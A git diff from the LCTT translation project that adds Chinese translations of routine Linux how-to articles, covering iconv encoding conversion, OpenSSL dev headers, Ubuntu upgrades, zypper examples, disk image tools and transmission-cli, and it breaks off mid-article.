系统中有一个编码为 iso-8859-1 的字幕文件,其中部分字符无法正常显示,我想把文本改为 utf8 编码。在 Linux 中, 有没有一个好的工具来转换文本文件的字符编码? + +正如我们所知道的那样,电脑只能够处理低级的二进制值,并不能直接处理字符。当一个文本文件被存储时,文件中的每一个字符都被映射成二进制值,实际存储在硬盘中的正是这些“二进制值”。之后当程序打开文本文件时,所有二进制值都被读入并映射回原始的可读字符。只有当所有需要访问这个文件的程序都能够“理解”它的编码,即二进制值到字符的映射时,这个“保存和打开”的过程才能很好地完成,这也确保了可理解数据的往返过程。 + +如果不同的程序使用不同的编码来处理同一个文件,源文件中的特殊字符就无法正常显示。这里的特殊字符指的是非英文字母的字符,例如带重音的字符(比如 ñ,á,ü)。 + +然后问题就来了: 1)我们如何确定一个确定的文本文件使用的是什么字符编码? 2)我们如何把文件转换成已选择的字符编码? + +### 步骤一 ### + +为了确定文件的字符编码,我们使用一个名为 “file” 的命令行工具。因为 file 命令是一个标准的 UNIX 程序,所以我们可以在所有现代的 Linux 发行版中找到它。 + +运行下面的命令: + + $ file --mime-encoding filename + +![](https://farm6.staticflickr.com/5602/15595534261_1a7b4d16a2.jpg) + +### 步骤二 ### + +下一步是查看你的 Linux 系统所支持的文件编码种类。为此,我们使用名为 iconv 的工具及 “-l” 选项(L 的小写)来列出所有当前支持的编码。 + + $ iconv -l + +iconv 工具是 GNU libc 库组成部分,因此它在所有 Linux 发行版中都是开箱即用的。 + +### 步骤三 ### + +在我们在我们的 Linux 系统所支持的编码里面选定了目标编码之后,运行下面的命令来完成编码转换: + + $ iconv -f old_encoding -t new_encoding filename + +例如,把 iso-8859-1 编码转换为 utf-8 编码: + + $ iconv -f iso-8859-1 -t utf-8 input.txt + +![](https://farm4.staticflickr.com/3943/14978042143_a516e0b10b_o.png) + +了解了我们演示的如何使用这些工具之后,你可以像下面这样修复一个受损的字幕文件: + +![](https://farm6.staticflickr.com/5612/15412197967_0dfe5078f9_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-character-encoding-text-file-linux.html + +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201411/20141022 Linux FAQs with Answers--How to fix fatal error--openssl or aes.h--No such file or directory.md b/published/201411/20141022 Linux FAQs with Answers--How to fix fatal error--openssl or aes.h--No such file or directory.md new file mode 100644 index 0000000000..c91b027cb7 --- /dev/null +++ b/published/201411/20141022 Linux FAQs with Answers--How to fix fatal error--openssl or aes.h--No such file or directory.md @@ -0,0 +1,28 @@ +Linux 有问必答:如何修复“fatal error: openssl/aes.h: No such file or directory” +================================================================================ +> **Question**:我尝试在Linux编译一个程序,但是编译失败并报了一个错,“fatal error: openssl/aes.h: No such file or directory”。我该怎样安装要求的头文件并在我的Linux上解决这个问题? + + fatal error: openssl/aes.h: No such file or directory + +如果你在编译时遇到这个错误,这可能是下面的原因:你尝试编译的程序使用OpenSSL,但是需要和OpenSSL链接的文件(库和头文件)在你Linux平台上缺少。(LCTT 译注:其它类似的错误也可以照此处理) + +要解决这个问题,你需要安装**OpenSSL 开发包**,这在所有的现代Linux发行版的标准软件仓库中都有。 + +要在Debian、Ubuntu或者其他衍生版上安装OpenSSL: + + $ sudo apt-get install libssl-dev + +要在Fedora、CentOS或者RHEL上安装OpenSSL开发包: + + $ sudo yum install openssl-devel + +安装完后,尝试重新编译程序。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fix-fatal-error-openssl.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201411/20141023 6 Minesweeper Clones for Linux.md b/published/201411/20141023 6 Minesweeper Clones for Linux.md new file mode 100644 index 0000000000..a4e958dfb2 --- /dev/null +++ b/published/201411/20141023 6 Minesweeper Clones for Linux.md @@ -0,0 +1,54 @@ +Linux下的6个扫雷游戏的翻版 +================================================================================ +Windows 下的扫雷游戏还没玩够么?那么来 Linux 下继续扫雷吧——这是一个雷的时代~~ + +### GNOME Mines ### + +这是GNOME扫雷复制品,允许你从3个不同的预定义表大小(8×8, 16×16, 30×16)中选择其一,或者自定义行列的数量。它能以全屏模式运行,带有高分值、耗时和提示。游戏可以暂停和继续。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/10/gnome-mines1.jpg) + +### ace-minesweeper ### + +这是一个大的软件包中的游戏,此包中也包含有其它一些游戏,如ace-freecel,ace-solitaire或ace-spider。它有一个以小企鹅为特色的图形化界面,但好像不能调整表的大小。该包在Ubuntu中名为ace-of-penguins。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/10/ace-minesweeper.jpg) + +### XBomb ### + +XBomb是针对X Windows系统扫雷游戏,它有三种不同的表尺寸和卡牌风格,包含有不同的外形:六角形、矩形(传统)或三角形。不幸的是,在Ubuntu 14.04中的版本会出现程序分段冲突,所以你可能需要安装另外一个版本。 +[首页][1]。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/10/xbomb.png) + +([图像来源][1]) + +### KMines ### + +KMines是一个KDE游戏,和GNOME Mines类似,有三个内建表尺寸(简易、中等、困单),也可以自定义,支持主题和高分。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/10/kmines.jpg) + +### freesweep ### + +Freesweep是一个针对终端的扫雷复制品,它可以配置表行列、炸弹比例、颜色,也有一个高分表。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/10/freesweep.jpg) + +### xdemineur ### + +另外一个针对X的图形化扫雷Xdemineur,和Ace-Minesweeper十分相像,带有一个预定义的表尺寸。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/10/xdemineur.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.tuxarena.com/2014/10/6-minesweeper-clones-for-linux/ + +作者:Craciun Dan +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.gedanken.org.uk/software/xbomb/ diff --git a/published/201411/20141024 How To Upgrade Ubuntu 14.04 To Ubuntu 14.10.md b/published/201411/20141024 How To Upgrade Ubuntu 14.04 To Ubuntu 14.10.md new file mode 100644 index 0000000000..4059bbcf00 --- /dev/null +++ b/published/201411/20141024 How To Upgrade Ubuntu 14.04 To Ubuntu 14.10.md @@ -0,0 +1,51 @@ +如何从 Ubuntu 14.04 升级到 Ubuntu 14.10 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/04/Ubuntu_Unicorn_Utopia.jpeg) + +Ubuntu 14.10已于前段时间发布。想知道**如何从 Ubuntu 14.04 升级到 Ubuntu 14.10**么?别担心,这很容易做到。事实上,只要网络连接速度好,升级只是点击几下鼠标的事情而已。 + +### 你需要从 Ubuntu 14.04 切换到 Ubuntu 14.10 么? ### + +在你升级到Ubuntu 14.10之前,请确定你真的想为升级 14.10 而抛弃 Ubuntu 14.04。一个很重要的原因是你不能从Ubuntu 14.10 回归到14.04。 你需要完全重新安装。 + +Ubuntu 14.04是长期支持(LTS)版本。这意味着有更多的稳定性和更长的支持周期。如果升级到14.10,你将被迫在9个月后从Ubuntu 14.10 升级到15.04,而14.04将会持续3年以上。 + +此外,目前Ubuntu 14.10没有很多的新功能使吸引用户切换到14.10。当然了,你肯定会得到最前沿的操作系统。所以,在这之前是否升级到Ubuntu 14.10是你自己的决定。 + +### 从Ubuntu 14.04 升级到 Ubuntu 14.10 ### + +要从Ubuntu 14.04 升级到 Ubuntu 14.10,遵循下面的步骤: + +#### 步骤 1: #### + +打开 **软件和更新**. + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Software_Update_Ubuntu.jpeg) + +进入**更新**选项卡。这里要确保**Ubuntu有新版本时通知我** 设置成**对于任何新版本**。默认Ubuntu只会在另一个LTS发布时通知你。你必须要把它改成在任何中间版本都升级。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Upgrade_Ubuntu.png) + +#### 步骤 2: #### + +现在运行 **软件升级**。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/04/Ubuntu_Updater.jpg) + +升级完成后,它应该会提示一个可用的新版本。点击升级,接着按照提示的步骤来。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Upgrade_to_Ubuntu_1410.jpeg) + +我希望本篇教程可以帮助你**从 Ubuntu 14.04 升级到 Ubuntu 14.10**。虽然本教程是为Ubuntu写的,但是你可以用同样的步骤升级到 Xubuntu 14.10、Kubuntu 14.10 或者Lubuntu。敬请期待下一篇Ubuntu 14.10相关文章。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/upgrade-ubuntu-14-04-to-14-10/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ diff --git a/published/201411/20141024 How To Upgrade Ubuntu 14.04 Trusty To Ubuntu 14.10 Utopic.md b/published/201411/20141024 How To Upgrade Ubuntu 14.04 Trusty To Ubuntu 14.10 Utopic.md new file mode 100644 index 0000000000..8a5102ef8f --- /dev/null +++ b/published/201411/20141024 How To Upgrade Ubuntu 14.04 Trusty To Ubuntu 14.10 Utopic.md @@ -0,0 +1,104 @@ +如何将 Ubuntu14.04 安全的升级到14.10 +================================================================================ + +如果想从Ubuntu14.04/13.10/13.04/12.10/12.04或者更老的版本升级到14.10,只要遵循下面给出的步骤。注意,你不能直接从13.10升级到14.10。你应该先将13.10升级到14.04在从14.04升级到14.10。下面是详细步骤。 + +下面的步骤不仅能用于14.10,也兼容于一些像Lubuntu14.10,Kubuntu14.10和Xubuntu14.10等的Ubuntu衍生版本 + +**重要**:在升级之前,保险起见,不要忘了将你的数据在U盘或外部硬盘上保存一下。 + +### 桌面升级 ### + +在升级之前,我们要先更新系统。打开终端输入以下命令 + + sudo apt-get update && sudo apt-get dist-upgrade + +上面的命令会下载安装最新的包。 + +重启你的电脑以完成更新。 + +然后输入下面的命令来升级到新的可获得的版本 + + sudo update-manager -d + +软件更新器会出现并且搜索新的发行版。 + +几秒钟之后,你会在屏幕中看到如下字样:**ubuntu14.10现在可以获得(你现在是14.04系统)**。点击升级按钮开始升级。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Software-Updater_001.png) + +软件更新器会提示你确定更新。点击开始更新开始安装14.10 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Release-Notes_002.png) + +**请注意**:这是beta版本。不要在生产用的机器上安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Distribution-Upgrade_003.png) + +几分钟之后,软件更新器会提醒你一些将被移除的和将被安装的软件包的详细信息。点击**开始升级**继续。确保你更新时在稳定的网络下。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Untitled-window_004.png) + +现在,更新程序会开始获取新的软件包。获取速度取决于你的网速。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Distribution-Upgrade_005.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Distribution-Upgrade_001.png) + +之后,你会被询问是否移除不必要的应用程序。最后,点击**重启**来完成整个升级过程。 + +这时侯,恭喜你已经成功的升级到了ubuntu14.10 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Details_002.png) + +你可以开始使用新的ubuntu版本了。 + +### 服务器升级 ### + +从ubuntu14.04的服务器升级到14.10的服务器,采用下面的步骤。 + +安装update-manager-core 这个包如果之前没唷安装的话: + + sudo apt-get install update-manager-core + +编辑 /etc/update-manager/release-upgrades这个文件。 + + sudo nano /etc/update-manager/release-upgrades + +像下面那样设置Prompt=normal或者Prompt=lts + + # Default behavior for the release upgrader. + + [DEFAULT] + # Default prompting behavior, valid options: + # + # never - Never check for a new release. + # normal - Check to see if a new release is available. If more than one new + # release is found, the release upgrader will attempt to upgrade to + # the release that immediately succeeds the currently-running + # release. + # lts - Check to see if a new LTS release is available. The upgrader + # will attempt to upgrade to the first LTS release available after + # the currently-running one. Note that this option should not be + # used if the currently-running release is not itself an LTS + # release, since in that case the upgrader won't be able to + # determine if a newer release is available. + Prompt=normal + +现在可以通过下面的命令来更新你的服务系统了。 + + sudo do-release-upgrade -d + +直到屏幕提示你已完成。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/upgrade-ubuntu-14-04-trusty-ubuntu-14-10-utopic/ + +作者:SK +译者:[johnhoow](https://github.com/johnhoow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://wiki.ubuntu.com/UtopicUnicorn/ReleaseSchedule diff --git a/published/201411/20141024 How to Upgrade Ubuntu 14.04 LTS to Ubuntu 14.10.md b/published/201411/20141024 How to Upgrade Ubuntu 14.04 LTS to Ubuntu 14.10.md new file mode 100644 index 0000000000..b01f4725d8 --- /dev/null +++ b/published/201411/20141024 How to Upgrade Ubuntu 14.04 LTS to Ubuntu 14.10.md @@ -0,0 +1,32 @@ +小白技巧:如何从Ubuntu 14.04 LTS 升级到Ubuntu 14.10 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/software-and-updates.jpg) + +**想知道怎样从Ubuntu 14.04 LTS 升级到Ubuntu 14.10么? 这就是我们要讲的** + +Canonical不会强迫14.04的用户升级到14.10这个中间版本 + +但这并不意味着 **你**不能将你的坚如磐石的Trusty Tahr升级到(有点让人印象深刻的)Utopic Unicorn。 + +要得到非LTS版本的Ubuntu发布通知,你需要在软件和更新工具中选择。这个很直接。 + +- 打开 ‘**软件和更新**’ +- 选择 ‘**更新**’ 选项 +- 进入‘**有新版本Ubuntu时通知我**’的选项 +- 在下拉菜单选项中将‘**对于长期支持版本**’改成‘**对于任何版本**’ + +切换后你会想快点更新。 + +现在准备就绪!Canonical此刻会弹出“升级”提示给用户(相比较普通的ISO镜像而言经常延迟)可以通过软件更新工具更新到14.10了。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/10/upgrade-ubuntu-14-04-to-14-10 + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author \ No newline at end of file diff --git a/published/201411/20141024 SUSE Linux--Zypper Command Examples.md b/published/201411/20141024 SUSE Linux--Zypper Command Examples.md new file mode 100644 index 0000000000..f43cb82eef --- /dev/null +++ b/published/201411/20141024 SUSE Linux--Zypper Command Examples.md @@ -0,0 +1,168 @@ +SUSE Linux – Zypper 命令示例 +================================================================================ +Zypper是SuSE Linux中用于安装,升级,卸载,管理仓库、进行各种包查询的命令行接口。本篇将会讨论zypper的几个不同命令的例子。 + +语法: + + # zypper [--global-opts] [--command-opts] [command-arguments] + +中括号中的部分可以不需要。执行zypper最简单的方法是输入 zypper 及 。 + +### 例子1:列出可用的全局选项和命令 ### + +打开终端,输入zypper并按回车,它会显示所有可用的全局选项和命令。 + + linux-xa3t:~ # zypper + +### 例子2:获得zypper的某个命令的帮助 ### + +语法: zypper help [command] + + linux-xa3t:~ # zypper help remove + remove (rm) [options] ... + + Remove packages with specified capabilities. + A capability is NAME[.ARCH][OP], where OP is one of <, <=, =, >=, >. + + Command options: + -r, --repo Load only the specified repository. + -t, --type Type of package (package, patch, pattern, product). + + Default: package. + -n, --name Select packages by plain name, not by capability. + -C, --capability Select packages by capability. + --debug-solver Create solver test case for debugging. + -R, --no-force-resolution Do not force the solver to find solution,let it ask. + --force-resolution Force the solver to find a solution (even an aggressive one). + -u, --clean-deps Automatically remove unneeded dependencies. + -U, --no-clean-deps No automatic removal of unneeded dependencies. + -D, --dry-run Test the removal, do not actually remove. + +### 例子3:打开zypper shell/会话 ### + + linux-xa3t:~ # zypper sh + zypper> + +或 + + linux-xa3t:~ # zypper shell + zypper> + +### 例子4:列出已定义的仓库 ### + + linux-xa3t:~ # zypper repos + +![](http://www.linuxtechi.com/wp-content/uploads/2014/10/zypper-repos.png) + +或 + + linux-xa3t:~ # zypper lr + +#### 4.1) 以表格的形式列出仓库的URI #### + +![](http://www.linuxtechi.com/wp-content/uploads/2014/10/zypper-repos-uri.png) + +#### 4.2) 以优先级列出仓库 #### + + linux-xa3t:~ # zypper lr -p + +![](http://www.linuxtechi.com/wp-content/uploads/2014/10/zypper-repos-priority.png) + +### 例子5:刷新仓库 ### + + linux-xa3t:~ # zypper ref + Repository 'openSUSE-13.1-Non-Oss' is up to date. + Repository 'openSUSE-13.1-Oss' is up to date. + Repository 'openSUSE-13.1-Update' is up to date. + Repository 'openSUSE-13.1-Update-Non-Oss' is up to date. + All repositories have been refreshed. + +### 例子6:修改zypper仓库 ### + +zypper仓库可以通过别名、数字或者URI或者通过‘–all、 –remote、 –local、 –medium-type’这些选项修改。 + +linux-xa3t:~ # zypper mr -d 6 #禁用6号仓库 +linux-xa3t:~ # zypper mr -rk -p 70 upd #启用自动书信并为‘upd’仓库设置rpm文件‘缓存’,且设置它的优先级为70 +linux-xa3t:~ # zypper mr -Ka #为所有的仓库禁用rpm文件缓存 +linux-xa3t:~ # zypper mr -kt #为远程仓库设置rpm文件缓存 + +### 例子7:添加仓库 ### + +语法: zypper addrepo 或者 zypper ar <仓库的URL或者别名> + + linux-xa3t:~ # zypper ar http://download.opensuse.org/update/13.1/ update + Adding repository 'update' .............................................[done] + Repository 'update' successfully added + Enabled: Yes + Autorefresh: No + GPG check: Yes + URI: http://download.opensuse.org/update/13.1/ + +### 例子8:移除仓库 ### + +语法: zypper removerepo <仓库名> <别名> + +或者 + +zypper rr <仓库名> <别名> + + linux-xa3t:~ # zypper rr openSUSE-13.1-1.10 openSUSE-13.1-1.10 + Removing repository 'openSUSE-13.1-1.10' ............................[done] + Repository 'openSUSE-13.1-1.10' has been removed. + +### 例子9:安装软件包 ### + +语法: zypper install <包名> 或者 zypper in <包名> + + linux-xa3t:~ # zypper install vlc + +### 例子10:卸载软件包 ### + +语法: zypper remove <包名> 或者 zypper rm <包名> + + linux-xa3t:~ # zypper remove sqlite + +### 例子11:导出和导入仓库 ### + +导出仓库的语法 : zypper repos –export 或者 zypper lr -e + + linux-xa3t:~ # zypper lr --export repo-backup/back.repo + Repositories have been successfully exported to repo-backup/back.repo. + +导入仓库的语法 : + + linux-xa3t:~ # zypper ar repo-backup/back.repo + +### 例子12:更新一个软件包 ### + +语法: zypper update <包名> 或者 zypper up <包名> + + linux-xa3t:~ # zypper update bash + +### 例子13:安装源码包 ### + +语法: zypper source-install <源码包> 或 zypper si <源码包> + + linux-xa3t:~ # zypper source-install zypper + +### 例子14:只安装依赖包 ### + +例子13中的命令会安装和构建特定包的依赖。如果你想要安装源码包就用-D选项 + + # zypper source-install -D package_name + +只安装依赖就使用-d + + # zypper source-install -d package_name + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/suse-linux-zypper-command-examples/ + +作者:[Pradeep Kumar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ \ No newline at end of file diff --git a/published/201411/20141027 Handy Disk Image Tools.md b/published/201411/20141027 Handy Disk Image Tools.md new file mode 100644 index 0000000000..418af42ed2 --- /dev/null +++ b/published/201411/20141027 Handy Disk Image Tools.md @@ -0,0 +1,172 @@ +Linux 下易用的光盘镜像管理工具 +================================================================================ +磁盘镜像包括了整个磁盘卷的文件或者是全部的存储设备的数据,比如说硬盘,光盘(DVD,CD,蓝光光碟),磁带机,USB闪存,软盘。一个完整的磁盘镜像应该包含与原来的存储设备上一样完整、准确,包括数据和结构信息。 + +磁盘镜像文件格式可以是采用开放的标准,像ISO格式的光盘镜像,或者是专有的软件应用程序的特定格式。"ISO"这个名字来源于用CD存储的ISO 9660文件系统。但是,当用户转向Linux的时候,经常遇到这样的问题,需要把专有的的镜像格式转换为开放的格式。 + +磁盘镜像有很多不同的用处,像烧录光盘,系统备份,数据恢复,硬盘克隆,电子取证和提供操作系统(即LiveCD/DVDs)。 + +有很多不同的方法可以把ISO镜像挂载到Linux系统下。强大的mount 命令给我们提供了一个简单的解决方案。但是如果你需要很多工具来操作磁盘镜像,你可以试一试下面的这些强大的开源工具。 + +很多工具还没有看到最新的版本,所以如果你正在寻找一个很好用的开源工具,你也可以加入,一起来为开源做出一点贡献。 + +### Furius ISO Mount + + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-FuriusISOMountTool.png) + +Furius ISO Mount是一个简单易用的开源应用程序,可以用来挂载镜像文件,它支持直接打开ISO,IMG,BIN,MDF和NRG格式的镜像而不用把他们烧录到磁盘。 + +特性: + +- 支持自动挂载ISO, IMG, BIN, MDF and NRG镜像文件 +- 支持通过 loop 方式挂载 UDF 镜像 +- 自动在根目录创建挂载点 +- 自动解挂镜像文件 +- 自动删除挂载目录,并返回到主目录之前的状态 +- 自动记录最近10次挂载历史 +- 支持挂载多个镜像文件 +- 支持烧录ISO文件及IMG文件到光盘 +- 支持MD5校验和SHA1校验 +- 自动检索之前解挂的镜像 +- 自动创建手动挂载和解挂的日志文件 +- 语言支持(目前支持保加利亚语,中文(简体),捷克语,荷兰语,法语,德语,匈牙利语,意大利语,希腊语,日语,波兰语,葡萄牙语,俄语,斯洛文尼亚语,西班牙语,瑞典语和土耳其语) + +--- +- 项目网址: [launchpad.net/furiusisomount/][1] +- 开发者: Dean Harris (Marcus Furius) +- 许可: GNU GPL v3 +- 版本号: 0.11.3.1 + + +###fuseiso + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-fuseiso.png) + +fuseiso 是用来挂载ISO文件系统的一个开源的安全模块。 + +使用FUSE,我们完全可以在用户空间里运行一个完整的文件系统。 + +特性: + +- 支持读ISO,BIN和NRG镜像,包括ISO 9660文件系统 +- 支持普通的ISO 9660级别1和级别2 +- 支持一些常用的扩展,想Joliet,RockRidge和zisofs +- 支持非标准的镜像,包括CloneCD's IMGs 、Alcohol 120%'s MDFs 因为他们的格式看起来恰好像BIN镜像一样 + +--- + +- 项目网址: [sourceforge.net/projects/fuseiso][2] +- 开发者: Dmitry Morozhnikov +- 许可: GNU GPL v2 +- 版本号: 20070708 + + +###iat + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-iat.png) + +iat(Iso 9660分析工具)是一个通用的开源工具,能够检测很多不同镜像格式文件的结构,包括BIN,MDF,PDI,CDI,NRG和B5I,并转化成ISO 9660格式. + +特性: + +- 支持读取(输入)NRG,MDF,PDI,CDI,BIN,CUE 和B5I镜像 +- 支持用 cd 刻录机直接烧录光盘镜像 +- 输出信息包括:进度条,块大小,ECC扇形分区(大小),头分区(大小),镜像偏移地址等等 + +--- + +- 项目网址: [sourceforge.net/projects/iat.berlios][3] +- 开发者: Salvatore Santagati +- 许可: GNU GPL v2 +- 版本号: 0.1.3 + + +###AcetoneISO + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-AcetoneISO.png) + +AcetoneISO 是一个功能丰富的开源图形化应用程序,用来挂载和管理CD/DVD镜像。 + +当你打开这个程序,你就会看到一个图形化的文件管理器用来挂载镜像文件,包括专有的镜像格式,也包括像ISO, BIN, NRG, MDF, IMG 等等,并且允许您执行一系列的操作。 + +AcetoneISO是用QT 4写的,也就是说,对于基于QT的桌面环境能很好的兼容,像KDE,LXQT或是Razor-qt。 + +这个软件适用于所有正在寻找Linux版本的Daemon Tools的人。 + +特性: + +- 支持挂载大多数windows 镜像,界面简洁易用 +- 可以将其所有支持镜像格式转换到ISO,或者是从中提取内容 +- 加密,压缩,解压任何类型的镜像 +- 转换DVD成xvid avi,支持将各种常规视频格式转换成xvid avi +- 从视频里提取声音 +- 从不同格式中提取镜像中的文件,包括bin mdf nrg img daa dmg cdi b5i bwi pdi +- 用Kaffeine / VLC / SMplayer播放DVD镜像,可以从Amazon 自动下载封面。 +- 从文件夹或者是CD/DVD生成ISO镜像 +- 可以做镜像的MD5校验,或者是生成镜像的MD5校验码 +- 计算镜像的ShaSums(128,256和384位) +- 支持加密,解密一个镜像文件 +- 按兆数分拆和合并镜像 +- 以高压缩比将镜像压缩成7z 格式 +- 翻录PSX CD成BIN格式,以便在ePSXe/pSX模拟器里运行 +- 为BIN和IMG格式恢复丢失的 CUE 文件 +- 把MAC OS的DMG镜像转换成可挂载的镜像 +- 从指定的文件夹中挂载镜像 +- 创建数据库来管理一个大的镜像集合 +- 从CD/DVD 或者是ISO镜像中提取启动文件 +- 备份CD成BIN镜像 +- 简单快速的把DVD翻录成Xvid AVI +- 简单快速的把常见的视频(avi, mpeg, mov, wmv, asf)转换成Xvid AVI +- 简单快速的把FLV 换换成AVI 格式 +- 从YouTube和一些视频网站下载视频 +- 提取一个有密码的RAR存档 +- 支持转换任何的视频到PSP上 +- 国际化的语言支持支持(英语,意大利语,波兰语,西班牙语,罗马尼亚语,匈牙利语,德语,捷克语和俄语) + +--- + +- 项目网址: [sourceforge.net/projects/acetoneiso][4] +- 开发者: Marco Di Antonio +- 许可: GNU GPL v3 +- 版本号: 2.3 + + +###ISO Master + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-ISOMaster.png) + +ISO Master是一个开源、易用的、图形化CD 镜像编辑器,适用于Linux 和BSD 。可以从ISO 里提取文件,给ISO 里面添加文件,创建一个可引导的ISO,这些都是在一个可视化的用户界面完成的。可以打开ISO,NRG 和一些MDF文件,但是只能保存成ISO 格式。 + +ISO Master 是基于bkisofs 创建的,这是一个简单、稳定的阅读,修改和编写ISO 镜像的软件库,支持Joliet, RockRidge 和EL Torito扩展, + +特性: + +- 支持读ISO 格式文件(ISO9660, Joliet, RockRidge 和 El Torito),大多数的NRG 格式文件和一些单轨道的MDF文件,但是,只能保存成ISO 格式 +- 创建和修改一个CD/DVD 格式文件 +- 支持CD 格式文件的添加或删除文件和目录 +- 支持创建可引导的CD/DVD +- 国际化的支持 + +--- + +- 项目网址: [www.littlesvr.ca/isomaster/][5] +- 开发者: Andrew Smith +- 许可: GNU GPL v2 +- 版本号: 1.3.11 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20141025082352476/DiskImageTools.html + +作者:Frazer Kline +译者:[barney-ro](https://github.com/barney-ro) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://launchpad.net/furiusisomount/ +[2]:http://sourceforge.net/projects/fuseiso/ +[3]:http://sourceforge.net/projects/iat.berlios/ +[4]:http://sourceforge.net/projects/acetoneiso/ +[5]:http://www.littlesvr.ca/isomaster/ \ No newline at end of file diff --git a/published/201411/20141027 How to download an ISO image with BitTorrent fast and safely from the command line.md b/published/201411/20141027 How to download an ISO image with BitTorrent fast and safely from the command line.md new file mode 100644 index 0000000000..2bfad6b78e --- /dev/null +++ b/published/201411/20141027 How to download an ISO image with BitTorrent fast and safely from the command line.md @@ -0,0 +1,126 @@ +如何在命令行下使用 BitTorrent 下载 ISO 镜像 +================================================================================ +如果你喜欢尝试最新版甚至是 beta 版的 Linux 发行版来满足你的好奇心,并始终保持是最新版,那么你就会时常遇到下载较大的 ISO 镜像的烦恼。提供 ISO 的人通常会使用 ISO 镜像的 .torrent 文件来减少服务器的带宽消耗。P2P 下载对于使用者来说好处也是很明显的(就下载速度而言),特别是当流行的 Linux 发行版有新版本发布并上传供下载,每个人同时在下载做种的时候。 + +Ubuntu 14.10 (utopic Unicorn) 这刚刚发布不久,因此现在在 BitTorrent 网络上应该有很多种子可以下载该版本。虽然有很多基于图形界面的 BitTorrent 客户端,不过我将展示**如何通过基于简单的命令行界面的 BitTorrent 客户端下载 ISO 镜像**,如果是在远程无图形界面的服务器上的话这会很方便。在[另外一篇教程][4]里面,我还会演示**如何验证已下载的 ISO 镜像的完整性**。 + +我今天要使用的基于命令行的 BitTorrent 客户端是 transmission-cli。正如你可能知道的那样,[Transmission][1] 是最流行的基于图形界面的 BitTorrent 客户端之一。transmission-cli 是它的简装的命令行版本。 + +### 在 Linux 上安装 Transmission-cli ### + +要安装 **transmission-cli**,你不必安装完整的基于图形界面的 Transmission,这是听起来不错。 + +在 Debian、Ubuntu 或者是基于它们的发行版上: + + $ sudo apt-get install transmission-cli + +在 Fedora 上: + + $ sudo yum install transmission-cli + +在 CentOS 或者 RHEL 上(在安装了 [EPEL 仓库][2]之后): + + $ sudo yum install transmission-cli + +### 通过 transmission-cli 快速地下载 ISO 镜像 ### + +**transmission-cli**的使用非常简单。如果你懒于学习它的命令行选项,所有你要做的事情就是下载 .torrent 文件并运行命令。这会自动寻找可用的种子并从那里下载 ISO 文件。 + + $ wget http://releases.ubuntu.com/14.10/ubuntu-14.10-desktop-amd64.iso.torrent + $ transmission-cli ubuntu-14.10-desktop-amd64.iso.torrent + +![](https://farm4.staticflickr.com/3933/14999528344_9af3ea5d2e_z.jpg) + +一旦 ISO 镜像下载完成,它默认存储在 ~/Downloads 文件夹中。下载 